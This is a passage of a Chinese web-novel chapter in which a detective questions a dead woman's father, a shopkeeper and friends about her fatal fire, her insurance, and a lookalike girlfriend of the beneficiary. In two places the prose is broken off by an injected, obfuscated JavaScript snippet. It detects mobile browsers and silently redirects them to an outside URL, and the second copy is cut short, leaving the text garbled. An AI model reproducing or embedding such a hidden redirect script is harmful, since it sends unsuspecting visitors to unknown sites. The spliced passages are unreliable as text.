最初他以为这只是迟昼对父母的欺骗——所谓女友实则是已订婚的楚谕,两人维持着不伦的关系。可这个猜想立刻显露出破绽:若真是见不得光的地下情,大可直接否认恋爱状态,何必多此一举地编造姓名、甚至分享照片?可,若二人是正大光明地交往,以两家的旧识关系,又何必用假名遮掩? 那么只剩下一个结论:这个名叫“简宁”、却与楚谕有着高度相似的面容的女子,确确实实是迟昼的恋人。 人的相貌是会随着岁月改变,从校园到社会的过渡尤其会带来气质上的蜕变,但熟悉的人总能认出曾经的细节。即便严疏对楚谕的印象仅止于档案照和监控影像,方才那张照片上的笑脸依然让他确认——那就是楚谕。 可奇怪的是,迟昼的父母见到这张合照后,居然对此毫无反应。 蔡雨不是说他们见过简宁吗?难道简宁和楚谕,真就如此相像?还是说......来见迟昼父母的,根本就是楚谕本人?可如果这样的话,她为什么要自称“简宁”? 严疏握紧方向盘,任由车辆在公路上狂飙。他第一次感到自己的思维像一团被彻底搅乱的拼图,所有线索仿佛都在空中漂浮,却始终落不到正确的位置。 ———————————— 不知在高速上飞驰了多久,狂躁的引擎声才渐渐与平息的心跳重合。严疏的理智终于压过了最初的惊异,虽然谜团仍未解开,但至少思维恢复了运转。他调转方向,先回到当年任职的派出所调取旧档,随后凭着档案中的模糊地址,摸索到了楚谕曾经的家。 前往的路上,他猜测那栋出过人命且损毁严重的房子,大概率早已拆除重建。果然,当他找到那个门牌号时,原址已然变成了一家小超市,挂着个牌子——老江便民烟酒。 严疏走进店里随意拿了瓶水,结账时顺势给柜台后正刷视频的老板递了支烟——这是他最熟练的套近乎方式。老板抬眼看了看,没说什么,接过烟便点上了。 幸而在这种小地方,一支烟就能撬开话匣子。严疏没亮明身份,只装作闲聊提起当年的火灾,老板便立刻就像找到了倾诉对象,苦大仇深地皱起眉: “唉,那事儿受伤最深的肯定是那孩子,可我们家也没少受牵连。”他嘬了口烟,“那房子本是我家老宅,盖了新房才卖给老楚家。谁成想后来那女人......唉,隔三差五发作,闹得四邻不安,街坊们没少在背后埋怨我们家。” 严疏自己也点了支烟,顺着话头问:“后来还受什么影响了吗?” “可不嘛!”老板眯起被烟雾熏得发涩的眼睛,“那女人出事之后,这房子被来回查了好几遍,这个部门那个部门的都来找我问话,说是要排查房屋安全隐患。天地良心,这原是我们老江家自住的房子,能有什么问题!”他吐出一口烟,摆了摆手:“她倒是走得干脆,可苦了我们,更苦了那孩子。后来那丫头要离开,这房子也烧的差不多了,我看她一个未成年娃娃实在可怜,就又原价买了回来,推平重盖了。” 他用夹着烟的手划了半个圈:“喏,就成了现在这超市,倒也省得我出去找活儿了。” 严疏点点头:“您挺善良。” 江老板挥散眼前的烟雾:“咳,谈不上善良,主要是看那姑娘实在命苦......长得乖巧,性子却倔得很。当时我老婆还跟她说,要是愿意留下念书,我们可以管她一口饭吃。”提起楚谕,他语气里的惋惜与蔡雨如出一辙,“但那丫头铁了心要走,也没说去哪儿,最后悄没声儿就消失了。” 他将烟蒂摁灭在柜台上的易拉罐里,叹了口气:“不过也难怪啊,她那狠心的爹一直没离开这,妈又死在这儿。这么个伤心地,搁谁谁愿意待啊。” 这已是严疏第二次听到对楚谕父亲的指责。他皱眉问:“她妈去世后,当爹的也没管她?” 江老板嗤笑一声,脸上带着不齿:“这事儿我再清楚不过。他俩离之前整天吵得天翻地覆,摔盆砸碗,但那姓楚的铁了心要走,九头牛都拉不回。我看他打心眼里就觉得对这娘俩没半点责任!后来家里闹成那样,他也愣是没回来看过一眼。那孩子......唉,没投到个好人家。” 这时有顾客来买酒,江老板起身招呼,话头也就此打住。严疏掐灭烟站起身,走出两步又折返回来:“老板,知道楚谕她爸现在住哪儿吗?” “具体不清楚,反正不远。”江老板朝西边指了指,“一直往那头走,有个停满货车的卡车厂,他在那儿上班,你可以问问看。” 严疏道了谢便往西边走,原以为真如老板所说“不远”,结果硬是走了一个多小时,才在尘土飞扬的路尽头看见那个停满货车的厂院。他正想找人打听,一个穿着蓝绿色工装的男人在听到“楚怀平”这个名字时便主动站了出来,打量着他:“你找我?” “你就是楚怀平?”面对这个在众人口中形象不堪的父亲,严疏没再迂回,直接亮出证件,“你是不是有个女儿叫楚谕?” 他敏锐地注意到,在“楚谕”二字出口的瞬间,这位父亲的眼神骤然一暗,脸上闪过一抹难以掩饰的沉郁与疲惫。 “是,但已经很多年没联系了。”楚怀平语气生硬,“有什么事?” 严疏直视着他的眼睛,用最平直的语气投下惊雷:“她死了。” 楚怀平脸上那副事不关己的表情瞬间凝固,嘴唇半张着,像是无法理解这几个字的含义。他盯着严疏,仿佛在确认这是否是个恶劣的玩笑。然而警察冰冷的目光让他不得不接受现实,恍惚间他终于回过神来,脸上浮起一层复杂的悲戚。 喉结艰难地滚动了几下,他哑着嗓子问:“......怎么搞的?” “火灾。” “火灾......火灾......”楚怀平的眼神涣散开来,声音飘忽,“那不是......和她妈一样?” “初步判断是意外。” 楚怀平摇了摇头,没再说话,神情里的茫然仿佛多过哀痛。 “你最后一次见楚谕是什么时候?”严疏看着他的反应,心下也愈发鄙夷,语气也冷了几分,“这很重要。” 与其他人的急切追问不同,楚怀平显得颇为平静,只是神情里带着沉重:“自从我离开,我们就没正经见过面。直到几年前——具体记不清了——她联系了我,说是要买什么保险。我听得出来,她是想让我主动放弃受益人资格。”他顿了顿,接着说:“我顺了她的意,写了份放弃声明寄过去,没见面——她说没必要。” 信息开始串联起来,严疏精神一振:“她明确要求你放弃的?” “话没明说,但我懂。这事......唉,她不认我是应该的。而且她还年轻,我原以为真要动那保险,也得是我走了以后的事,谁能想到.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352892|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ....”说到这儿,楚怀平突然想到什么,眉头皱了起来:“对了,那笔钱最后给谁了?你们查过那人吗?干不干净?” 听到他在此刻惦记起“钱”,严疏只觉一股怒火直冲头顶。看来超市老板他们说的一点没错——女儿没了,这人竟还想着其他事情。 严疏的思绪被拉回多年前河溪镇派出所的时光。那时他每天面对的,尽是些剪不断理还乱的邻里摩擦和家庭纠纷。邻里矛盾尚可调和,无非是赔偿和面子的问题;最棘手的则是家庭暴力——那些对妻儿挥拳的男人,即便被抓进来拘留几天,放出去后却往往变本加厉。所里的老警察早已见怪不怪,多以训诫了事,近乎放任。可当年的严疏血气方刚,看着施暴者那张“你能奈我何”的嘴脸,一股无名火就直冲脑门。他几次三番较真介入,反倒惹来了更多麻烦。 岁月本该磨平棱角,严疏的脾气却在这日复一日的无力感中,被磨得越发尖锐冷硬,脾气也愈发执拗。 此刻,楚怀平这副沉默姿态,与记忆中那些无赖的面孔开始重叠,瞬间点燃了严疏压抑的怒火。他脸色一沉,声音不自觉地拔高,带着属于刑警的威压:“你好好想想!这么多年,你们真的一次都没见过?” “真、真没有啊......”楚怀平被他陡然提升的音量吓了一跳,下意识地后退一步。周围的工友纷纷投来好奇的目光,让他倍感难堪,情急之下,脑中灵光一闪,像是抓住了救命稻草: “对了!有......一次!大概一年前吧,我下班开车路过老街,看见个姑娘站在路边,侧影特别像她!我当时隔着车窗喊了她名字......结果她头都没回,一下就钻进旁边的小巷子里没影了。我开着车,没法追,而且我对她的印象还停留在小时候,也不敢确定......”说着他原本迟疑的神色渐渐确定起来:“但现在想想,八成是她。她应该是不乐意见我,这才跑的。” 严疏的眉头拧成了一个深刻的“川”字。他想起迟家二老对迟昼亲生母亲私奔的往事讳莫如深,提起时也小心翼翼,而眼前这个楚怀平,谈及女儿时的疏离却毫不掩饰,对比之下,坦然地令人齿冷。他压下心头的厌恶,追问道:“你确定她是听到你叫她,才跑的?” 楚怀平耸了耸肩:“当时街上也没什么人,我喊得挺清楚的。” “外貌上呢?有没有觉得哪里不像?”严疏不放过任何细节。 “不像?”楚怀平被问住了,皱着眉努力回忆,眼神一片茫然,“这......真说不上来,太久没见了......可能是......眼睛?她小时候是细长的丹凤眼,那姑娘......眼睛好像挺大挺亮。不过脸型轮廓确实挺像,就是......穿着打扮和之前完全不一样了。” 这简直是废话。差了十几岁,穿着打扮怎么可能一样?眼见也问不出什么了,严疏懒得再和他周旋,便转身回到车上,“嘭”一声关上车门,将外界隔绝。他握着方向盘,楚怀平那颠三倒四的叙述却在脑海里反复回响。 一个念头忽然闪过:楚谕,会不会整过容? 不需要大动干戈,或许只是割道双眼皮,就能让眼神截然不同;加上光阴的打磨,就能和过去的自己割裂,以新的面貌重新开始——摊上那样的家庭,多半会出现某种心理创伤,由此产生这种“改头换面”的愿望,也不难理解。 可遍布各地的私人诊所多如牛毛,尤其在监管松弛的地带,多少作坊连资质都是伪造的。若楚谕离家后便寻了这种地方,那可真是天知地知,无从查起。更何况,整容的理由千千万,可能是为了告别过去,也可能仅是爱美之心使然......甚至不需要理由,只要付钱就行。 追究整容这条路,似乎与这个案子偏离太远,关联性微弱。 严疏甩了甩头,像是要将这无意义的猜想从脑海中驱逐出去。此刻,那个更尖锐、更迫近的疑点重新占据了他的心神:为什么迟昼的女友“简宁”,会与楚谕如此相像? 最表层、也最符合人性弱点的解释是:楚谕已经有了未婚夫,因此求而不得的迟昼找了个相似的人,聊以慰藉。 可真的这么简单吗?为什么迟安和蔡雨对这件事并无反应?简宁知道自己被当成了楚谕的替身吗? 另外,如果一年前楚怀平撞见的真是楚谕,她为何要回到这个决意逃离的伤心地?连索要放弃保险受益权的声明都是通过邮寄,又有什么事值得她亲自返回? 反之,如果那人不是楚谕......那她对“楚谕”这个名字产生的反应,就更加耐人寻味了。 严疏微微眯眼,产生了一个想法。如果那人真是“简宁”,一切似乎更能说通——迟昼父母说过有个自称“简宁”的人拜访过他们,这“自称”,可能的确是事实。可如果是简宁,听到“楚谕”这个名字时,为何要仓皇而走? 线索仿佛拧成了一个结。 “滴——”后方车辆的鸣笛声将严疏从深沉的思绪中惊醒。他这才发现自己在加油站排队时,竟完全陷入了推理的迷宫,前面车已经走了半天。焦躁感如同实质的蚂蚁,从他的毛孔中钻出,沿着脊椎爬行。他把车往前挪,无意识地用指尖快速敲击着方向盘,节奏凌乱。 曾经他对迟昼的女友并不感兴趣,但经此一行,他决定回去会会那个名叫“简宁”的女人。 下了高速,严疏无视饥肠辘辘的身体,驾车直扑迟昼的住处。夜色深沉,那扇窗户却漆黑一片,像一只失去了光泽的眼睛。他心下一沉,快步冲上楼,映入眼帘的是紧锁的房门,以及楼道里狼藉散落的、被主人遗弃的零星杂物。 人去楼空。 一股冰冷的怒焰猝然从心底窜起,焚尽了心中的侥幸。那火焰没有温度,只有刺骨的寒意,几乎要冻僵他的指尖——即便保险金最终落入迟昼手中,即便此人疑点重重,严疏内心深处仍不相信他骨子里藏着真正的恶。 可当他发现迟昼搬家的这一刻,某种坚固的东西仿佛在胸腔里碎裂了。 他开始怀疑自己——怀疑那份自以为是的直觉,怀疑那双曾以为能看透人心、了解人性的眼睛。 ********* 事情再次回到了那个令人束手束脚的问题上——所有线索都停留在怀疑层面,缺乏一锤定音的证据。没有正式立案的文书,别说协调机场、海关进行跨省乃至出境布控,就连想调用本市的交通监控,都寸步难行。 严疏在家里烦躁地转了几圈,最终只能将目光投向自己眼下唯一能触及的方向——迟昼曾工作过的那家4S店。 店里的人几乎都认识他了。一见他推门进来,几个正闲聊的店员立刻收敛了笑容,眉头不自觉地皱起,未等他开口,便有人抢先说道:“严警官,迟昼不在这儿了,他早离职了。”语气里带着几分显而易见的不耐烦。 “今天不找他。”严疏压下心头的不快,边往里走边掏出烟盒,挨个递了过去,试图缓和一下僵硬的气氛,“我来是想问问,你们有谁见过他女朋友?” 几个人相互看了看,接过烟,态度稍微松动了一些。 “见过啊,”一个年轻店员叼着烟答道,“他女朋友以前常来找他。长得挺漂亮的,我们都开玩笑,说那小子走了狗屎运......” “对,是挺扎眼一姑娘。”旁边有人附和。 严疏立刻追问:“那有人知道他女朋友在哪儿工作吗?” 众人纷纷摇头。“这谁知道啊,”最开始说话的店员耸耸肩:“我们和老迟熟,和人女朋友又不熟,人家哪会主动报备这个。” 严疏失望地“啧”了一声,线索似乎又要断了。他不甘心地换了个方向:“那迟昼的微信,或者其他联系方式,有人有吗?他换号了吗?” 一个正在擦手的员工掏出手机,划了几下屏幕:“喏,号应该没换,但朋友圈好久没更新了。”他把手机屏幕转向严疏,上面正是迟昼的微信主页,“警官,您有啥事,直接加他问问不就完了?” 严疏苦笑着用手机拍下了那个二维码。要是真能这么简单就好了,他怕的是迟昼那个号码早已停用,或者,即便加了,对方也根本不会通过。 走出店门,他对着微信申请界面那个空白的“验证信息”框发愣。就算加上了,又能说什么?打草惊蛇之后,对方只会隐藏得更深。 还是得另辟蹊径。严疏停下了准备发送申请的动作,思绪开始转向另一条线索——“简宁”和“楚谕”之间的区别。 无论二人因何种原因出现在迟昼的生命里,在严疏目前的推断中,她们本质上仍是两个独立的、仅仅外貌颇为相似的个体。 就算是相似的双胞胎,在至亲或长期相处的人眼中,也存在着微妙的差异,更何况是两个本无血缘,仅凭几分神似就想混淆视听的人? 一定存在某个人,能够分辨出她们。 严疏叹着气,想到了一个人。 11. 拾壹 再次见到严疏,宋晴活像大白天撞了鬼,妆容精致的脸上写满了惊愕与恼怒:“你怎么又来了?!这么大岁数的人怎么说话不算数呢!” “怎么不算数了?”严疏有些尴尬地蹭了蹭鼻尖,挤出个无奈的笑:“我当初说的是,‘没事’就不来找你。可现在,我确实‘有事’啊。” “你能有什么事!”宋晴显然正要出去玩,一身精心搭配的装扮,此刻被严疏半路截住,耐心已然耗尽。 严疏也懒得迂回,单刀直入:“你有没有见过一个女人,长得和楚谕很像?” 这句话像一道惊雷,劈得宋晴浑身一颤,手中的手机脱手滑落。严疏眼疾手快,一个箭步上前捞住了手机。递还回去时,他能清晰地看到宋晴瞳孔深处未散的震惊与慌乱。 有戏。严疏眯起了眼睛——看来找对人了。 “谢......谢谢。”宋晴一把夺回手机,指尖冰凉。她脸上原本服帖的粉底此刻显得过分苍白,反而衬得她失了血色。“我没见过。”她声音发紧,语气生硬。 撒谎。严疏在心里冷哼,要是所有人都像她这么藏不住事该多好。 他没有立刻戳穿,而是不动声色地转移了话题,语气轻松得像在拉家常:“哎,话说回来,你觉得楚谕漂亮吗?” “就......就那样吧。”宋晴心不在焉地敷衍。 严疏若有所思地点点头,接着用一种探讨的语气,仿佛只是随口一提:“那你觉得,两个人长得相似,除了整容,还有没有别的可能?” “也许就是巧合呢?”宋晴急于结束话题,语速飞快,“天底下长得像的人多了,有什么新鲜的!” “噢——”严疏拖长了尾音,意有所指地看着她,“所以......确实是有‘长得相像’的人。” 意识到被套话的宋晴,表情彻底垮了下来。她烦躁地抓了抓精心打理过的头发,像是破罐破摔般道:“没见过!我说没见过就是没见过!你烦不烦!” “好,好,你没见过。”严疏做了个安抚的手势,语气依旧平和,语气却带着不容拒绝的力度:“那或许你哥见过?要不你帮我把他约出来,我跟他聊聊?” “你别再烦我哥了行不行!他好不容易精神才好一点!”宋晴像是被踩了尾巴的猫,瞬间炸毛。这时,远处她的朋友高声催促,她气急败坏地吼了句“我不去了!”,然后猛地转向严疏,妥协般说道:“好吧,我承认,我确实曾把一个女的错认成楚谕。但就是单纯认错了!她俩轮廓是挺像的,可离近了看根本不一样!我根本就不认识那个女的,这有什么好说的?” “具体有多像?又哪里不一样?”严疏紧追不舍。 “这怎么说得清!都多久以前的事了!”宋晴眼神闪烁,像是努力回忆着:“最明显的,楚谕是长发,那女的是短发。还有......楚谕眼角有颗泪痣,是棕色的,还挺独特,但那女人没有......哎呀反正就是细节上差很多!我当时就是远远看见吓了一跳,凑近了其实能知道根本不是一个人!” 说到这里,宋晴像是想起了什么,莫名松了口气,眼中恢复了之前的神采。她把包包往肩上利落一挎,摆出送客的姿态,假意问道:“行了吗?大警官?还有别的事吗?” 严疏沉吟片刻,问出最后一个关键问题:“你在哪儿看见那个人的?” “街上。”宋晴的回答快得几乎不假思索,仿佛早已准备好了答案,“逛街的时候偶然看到的。” 严疏看着她那副胸有成竹的模样,忽然点点头:“行了,没事了。谢谢配合。” 转身的瞬间,他眼角的余光捕捉到了宋晴脸上一闪而过的惊讶——似乎没料到他会如此轻易地放过这条线索。但下一秒,她便头也不回地快步离开。 严疏之所以不再追问,是因为他确信宋晴在“地点”上撒了谎。但他一时还想不通,她为何要在一个看似无关紧要的问题上隐瞒。此刻强行逼问,只会让她更加戒备,反而暴露自己手中并无更多筹码的窘境。况且,宋晴大概率也不知道简宁的具体住处,追问也是无用。 对他而言,此行最大的收获,就是确认了“简宁”这个人的真实存在,并且她与楚谕的相貌确实颇为相似。 只要她存在,在这个信息时代就不可能毫无痕迹。一个活生生的年轻女人,但凡生活在现代社会,就需要消费、出行、社交。即便她为了迟昼愿意付出一切,也总不至于陪着他遁入深山老林,彻底与世隔绝吧。 接下来,该用更现代的方式,把这个“简宁”从茫茫人海里揪出来了。 他找人动用了一些技术手段,通过IP地址锁定了简宁曾经的住所。但当他找上门时,果不其然,早已人去楼空。幸运的是,房东是个健谈的人,向他絮叨了许多关于简宁的琐事。在一大堆缺乏重点的信息里,严疏像筛沙子一样,筛出了几点值得留心的细节。 简宁是本地人,家境普通。早年家里拆迁,却阴差阳错地错过了买房的最佳时机,如今房价飞涨,便彻底断了念想,干脆长期租房。她在这里住了相当长一段时间,这次搬家显得很突然,周围的熟人都猜测她是要和男友同居,好事将近了。而且从各种迹象看,她的离开并非仓皇逃离,似乎也并未打算远走高飞,依旧在这座城市的某个角落安顿了下来。 严疏从房东欲言又止的语气里听出了端倪——搬家那天房东是帮了忙的,她很可能知道新地址。但同为女性,房东显然对这个执着打听年轻女人的陌生人抱有本能的警惕。严疏并未亮证施压,因为他已经得到了一个关键的线索:搬家公司名称。只要有这条线,他就能顺藤摸瓜。 三天后,严疏已经站在了迟昼和简宁新家所在的小区里。他尚不清楚具体的楼栋门牌,但小区一侧大门因修路封闭,只留了一个出入口,门口正对着一个开阔的小花园,所有进出的人车都一览无余。 严疏松了半口气——至少,迟昼没玩人间蒸发。回想起前几天自己对“人性”的那份强烈质疑,此刻倒显得有些过激了。 他找了个石凳坐下,却融不进周围发呆下棋的老人和嬉笑追逐的孩童之中,身影显得格外突兀和寂寥。 时间在粘稠的寂静中一分一秒地爬行。忽然间,一股深沉的无力感,像冰冷的地下水漫过脚踝,毫无预兆地淹没了他的心脏。 楚谕,已经死了。 这个冰冷的事实,如同墓园里的石碑,沉重地立在他意识的中心。一切的追索、怀疑与不甘,在“死亡”这个终点面前,似乎都失去了绝对的意义。 他第一次如此清晰地审视自己:如果,事情的真相远比他最坏的想象还要曲折幽暗;如果,他耗尽心力最终证明的,不过是迟昼与简宁的无辜......那么他此刻的步步紧逼,这份不依不饶的执着,岂非对生者尚未结痂的伤口进行反复撕扯?他正在做的,会不会只是在打扰他人用尽全力才重建起的、微弱平静的生活? 也许,迟昼和简宁,真的只是想抛开过往,在无人打扰的角落里,过最平凡、最普通的日子——不然,他们不会仅仅是从城东搬到城西。比起一场处心积虑的逃亡,这更像是一次渴望安宁的迁徙。 也许,楚谕的死,只是一场令人扼腕的意外。 也许,两个女人的相似,不过是个巧合。 也许,迟昼就偏偏钟爱这一类型。 在那么多更美好、更平和的“也许”之下,只要他此刻选择转身,选择相信那些更符合世人期望的“也许”,那么所有人,包括他自己,似乎都能立刻获得解脱与平静。 可是,他就是放不了手。 严疏想,自己必须看到那个真相。不是为了证明什么,只是为了解开那个疙瘩,让它能真正地成为过去。 ********* 天光将近擦黑,小区里的路灯次第亮起,直到在薄暮中晕开一团团暖黄,严疏才看见迟昼从外面不紧不慢地进来。算起来其实并没隔多少日子,但严疏却觉得他整个人像被重新打磨过——先前那股挥之不去的颓丧气淡了许多,身形挺直,连眉眼间的阴郁都似乎被冲散了些,昔日的俊朗仿佛也回来了几分。 严疏眯着眼,远远打量着那道身影,下意识地摸着下巴。这模样,应该就是被滋润过、有伴可依的男人了。看来,楚谕离世的阴影,已经悄然远离了他。 等等,有伴?严疏摩挲下巴的手忽地一顿——迟昼和那个简宁在一起也不是一天两天了,怎么之前就是那副半死不活的颓废样子? 他觉得奇怪,正要往深处琢磨,可迟昼已越走越近,容不得他再细想。严疏只好打断思绪,起身,扬声喊道:“迟昼!” 迟昼闻声抬眼,见是他,脸上毫不掩饰地掠过一丝厌烦,甚至夸张地翻了个白眼。与此同时,他握着手机的手却极快地在屏幕上点了几下,迅速切屏发了条信息出去,动作快得几乎让人以为是错觉。 “找来的挺快啊?”等严疏走到近前,迟昼已然将手机塞进了裤子口袋,双手插兜,语气带着惯有的冷淡。 严疏扯出一个没什么笑意的笑容:“你搬得也挺快啊。” 迟昼脚步不停,继续朝单元门走去,仿佛严疏只是个不相干的邻居:“我不能搬家?” “看来我不来‘骚扰’的这段日子,你过得挺滋润。”严疏亦步亦趋地跟着,嘴上打着哈哈,姿态却摆明了不达目的不罢休,“怎么?和女朋友正式同居了?气色都不一样了。” “不让你上门亲眼看看,你是不死心了。”迟昼在一户单元门口停下,掏出钥匙,转过头,目光沉沉地看着他,语气里带着一种无可奈何的意味:“来吧,上来坐坐。” 新家在六楼,被简宁收拾得极为温馨妥帖。暖色的窗帘,松软的地毯,茶几上摆着玻璃水瓶,角落里甚至还放着一盆绿植。虽然迟昼说过好几次,这只是租的房子,没必要添置这么多零碎,但简宁总是坚持,说这是他们住的地方,是“家”,不能马虎对待。一来二去,家里还是陆陆续续添了不少东西,甚至每周都会买鲜花回来更换。 以至于严疏一踏进门,心里竟莫名震动了一下。眼前的一切,太像一对寻常小夫妻用心经营的爱巢了,充满了烟火气的温暖与安定。衬托之下,他这位不速之客的闯入,倒不像是来查案,更像是来恭贺乔迁的。 严疏不动声色地收回打量的目光,状似随意地问:“你女朋友呢?” 迟昼把钥匙放进茶几上的盒子里,走到沙发边坐下:“上班。” “怎么?看这架势,要结婚了?”严疏从餐桌边拉了把椅子坐下,仿佛只是老朋友闲聊。 迟昼随手拿起遥控器打开电视,屏幕上光影流动,他却没认真看任何一个台,似乎只是想用嘈杂的声音填满空间。他闻言,嘴角扯出一个模糊的弧度,模凌两可地应了一句:“可能吧。” 严疏没太懂这“可能”是什么意思,但也懒得在这种他不理解的情感私事上纠缠,便重新将话题引向正轨:“怎么还是租房?那笔保金应该已经到你账上了吧?拿出来,不说全款,怎么也够个首付了。” 迟昼的视线依旧没有焦点,既没看严疏,也没看电视,声音平缓:“暂时没想。那笔钱......如非必要,不太想动。”他顿了顿,终于抬眼看了看严疏,语气里带着一丝不易察觉的疲惫,“有什么事直说吧。还是因为那笔钱?要不这样,钱我上交充公,换我个清净,怎么样?” “私有财产可是受法律保护的。”严疏随口应着官话,目光再次扫过整个客厅。这一次不再是粗略的环顾,而是带着明确的目的,试图在某个角落找到一张简宁的清晰照片,却一无所获。 相互也算熟人了,没必要再遮遮掩掩。这样想着,他收回了探寻的视线,单刀直入:“你女朋友,什么时候下班?” 迟昼的目光终于落在了他脸上:“晚上。怎么,你想见她?” 直到这四目相对的瞬间,严疏才像在黑暗中触到了一根无形的弦,骤然察觉到迟昼平静表象下紧绷的神经。 先前,无论是开门迎客、对答,还是那副慵懒倚靠的姿态,迟昼都表现得相当自如,以至于让严疏误判他已然卸下了心防,或者说,已经不再将自己视为一个需要严阵以待的威胁。 但此刻,对上那看似平静、实则深处绷着一根细弦的眸光,严疏才惊觉并非如此。 带着这份洞察,他不动声色地再次审视对方。 迟昼看似舒适地深陷在沙发中,但宽松的裤腿面料却在极其轻微地、持续地抖动——那是腿部肌肉因持续用力而不自觉震颤的痕迹。看样子,这份刻意营造的松弛......仍是一层伪装。 可严疏自认并未抛出什么尖锐的新问题。那么,这种刻意的轻松是从何时开始的?见到他的那一刻? 可他在紧张什么?曾经的迟昼,戒备心更重,敌意也更明显,整个人虽然颓废,但应对起来却堪称滴水不漏,带着一种知道对方没牌的笃定。正因如此,此刻这种努力粉饰的紧张,在曾经那份波澜不惊的映衬之下,就显得格外扎眼。 这不像是因为被追问而产生的防御,更像是在......守护着什么。 或者说,在试图避免某种局面的发生。 严疏的思维飞速回溯着进门后的每一句对话。除了那笔早已谈过多次的保险金,唯一被提及的新元素,只有“简宁”。 这样想着,他决定投下一颗石子探路,语气带着不经意的探究:“我发现个事儿——简宁和楚谕,是不是长得有点儿太像了?怎么,是你的固定审美?” 话音未落,他清晰地捕捉到迟昼的肩膀几不可察地耸动了一下,虽然立刻就被强行压下,但紧随其后的动作却暴露了更多——他翘起二郎腿,随即又像患了多动症般迅速换了一条腿在上,完成这一系列小动作后,才扬起眉毛,抛回一个反问:“所以?” “个人喜好,我确实管不着。”严疏摊了摊手,一副就事论事的样子,“就是纯粹是好奇,茫茫人海里,你怎么找到的?” “巧合。”迟昼的回答几乎不假思索,“说实话,在她俩遇见之前,我自己都没太注意到她们长得像。” 胡扯。严疏在心中冷笑。在蔡雨那里看到合照后,他第一眼都直接错认。而迟昼作为与楚谕羁绊如此之深的人,初次见到一张如此相似的脸,怎么可能不恍惚? 但他没有戳穿,只是顺着话头继续:“她俩......有没有谁,脸上动过?” 迟昼放下了腿,嘴角扯出一抹意味不明的笑:“这我哪知道?而且我也不在乎。”他顿了顿,目光扫过严疏:“再说了,她俩都不是什么明星,没理由谁照着谁整,不是么?长得像,只是巧合而已。” 是不是巧合,严疏无从断定,他只是觉得这其中有着某种不和谐的气息。然而迟昼的话又并非全无道理——一个普通人,有什么动机要去照着另一个非亲非故的陌生人整容?迟昼又不是什么大款阔少,那个简宁,似乎也犯不着如此大费周章地投其所好。 难道,这两人真的只是恰好长相相似? 严疏的思绪陷入僵局,但他确信,必须亲眼见一见这个简宁。只是眼下这情形着实有些尴尬——他像个上门闹事的流氓,硬坐在别人精心布置的家里,还等着对方的女友归来。 不过,严疏向来不是个在乎脸面的人。他干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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简宁似乎被这毫不遮掩的审视看得更加慌乱,手中的包都忘了放下就快步挪到迟昼身边,这才对严疏点了点头,算是打过招呼。 严疏仔细打量了片刻——除了相似的面容,并未再发现什么。他知道再待下去只会显得自己无理,只得主动结束这场对峙:“我没什么事了。打扰二位,这就走。” 他向两人微微颔首,转身朝门外走去。简宁下意识想跟上送客,却被迟昼拉住。他摇了摇头,随后自己跟着严疏走出家门。 “还会再来吗?”走廊里,迟昼语气生硬,带着毫不掩饰的逐客意味。 “说不准。”严疏按下电梯按钮,回头看了他一眼,嘴角扯出个意味不明的笑,“确实挺漂亮。” 迟昼脸上没什么表情,语气平淡无波:“配我,肯定是富裕的。” “你其实长得也不错,拾掇拾掇就行,不像我。”严疏抬手,颇为突兀地在迟昼肩膀上拍了两下,动作带着一种连他自己也说不清的刻意,仿佛想借此营造出一种近乎熟稔的错觉。随后,他迈步走进打开的电梯,“走了。” 迟昼沉默地看着电梯门缓缓闭合,数字开始下行。他在空旷的走廊里静静站了一会儿,确认严疏不会去而复返,这才转身回家,关上了门。 “你没收到我......”他一边说着,一边走进卧室。 里面的人正在换衣服,刚脱下白色的内衣,正准备套上宽松的家居服。双臂向上伸展时,她身体自然地拉出流畅诱人的曲线,腰肢纤细,身形窈窕。在腰窝的凹陷处,有一片皮肤凹凸不平,颜色也比周围的肌肤略浅,像是某种癣。 尽管他们已经有过许多次的亲密接触,但在目光触及那块痕迹时,迟昼还是不由自主地低下了头,仿佛不愿直视。 “我收到了啊。”她换好家居服,步履轻快地走回客厅,像只慵懒的猫般跌进沙发里,舒展了一下身体:“你又没说明白,我想着干脆回来看看,到底出了什么事。那警察来干嘛?” “不知道。”迟昼摇了摇头,没有选择坐在她身边,而是坐在了刚才严疏坐过的那把椅子上,像刚才严疏打量他一样,打量着坐在沙发上的人。 他似乎有些理解了那位刑警盯着自己时的心情——在用这种抽离的、审视的角度去观察一个人时,那种有恃无恐,竟会让人感到莫名不安。 方才在严疏面前那恰到好处的惊慌无措已荡然无存,此刻的她,从松弛的坐姿到漫不经心的语气,都透着一股过于放松的、带着点肆意的意味。 她自顾自地倒了杯水,这才抬眼看向迟昼,唇角噙着一丝若有若无的笑意:“警察来就来了,为什么让我先别回来?”说着她抿了口水,端着杯子向后靠进沙发软垫里,歪着头,好整以暇地等待他的回答。 迟昼望着她,没有立刻回答,而是忽然想起学生时代一个有趣的发现——当你长时间、聚精会神地紧盯着一个熟悉的汉字时,那个字就会逐渐扭曲、变形,最终变得陌生而怪异,仿佛从未认识过。 此刻,凝视着对方那幽深的瞳孔,迟昼觉得——这个规律好像不仅限于文字,同样也......适用于人。 眼前这张面庞,分明是熟悉的、亲近的、能轻易撩动他心弦的,那份炽热的情意也似乎真切无比。可在这之下的某些瞬间,他却时常能窥见一丝转瞬即逝的裂痕,透着让他脊背发凉的寒意。 前一秒,还像个不谙世事的纯真少女;后一秒,却又仿佛沉淀了风霜的暮年孤寂。 “你知道的。”他终于开了口,言语平静无波,像在陈述一个既定事实。 沙发上的人轻笑一声,将玻璃杯“嗒”地一声放回茶几,发出清脆的声响。她缓缓起身,步履轻盈地走到迟昼面前,弯下腰,双手用力按在他的肩膀上,迫使他向后靠上椅背。 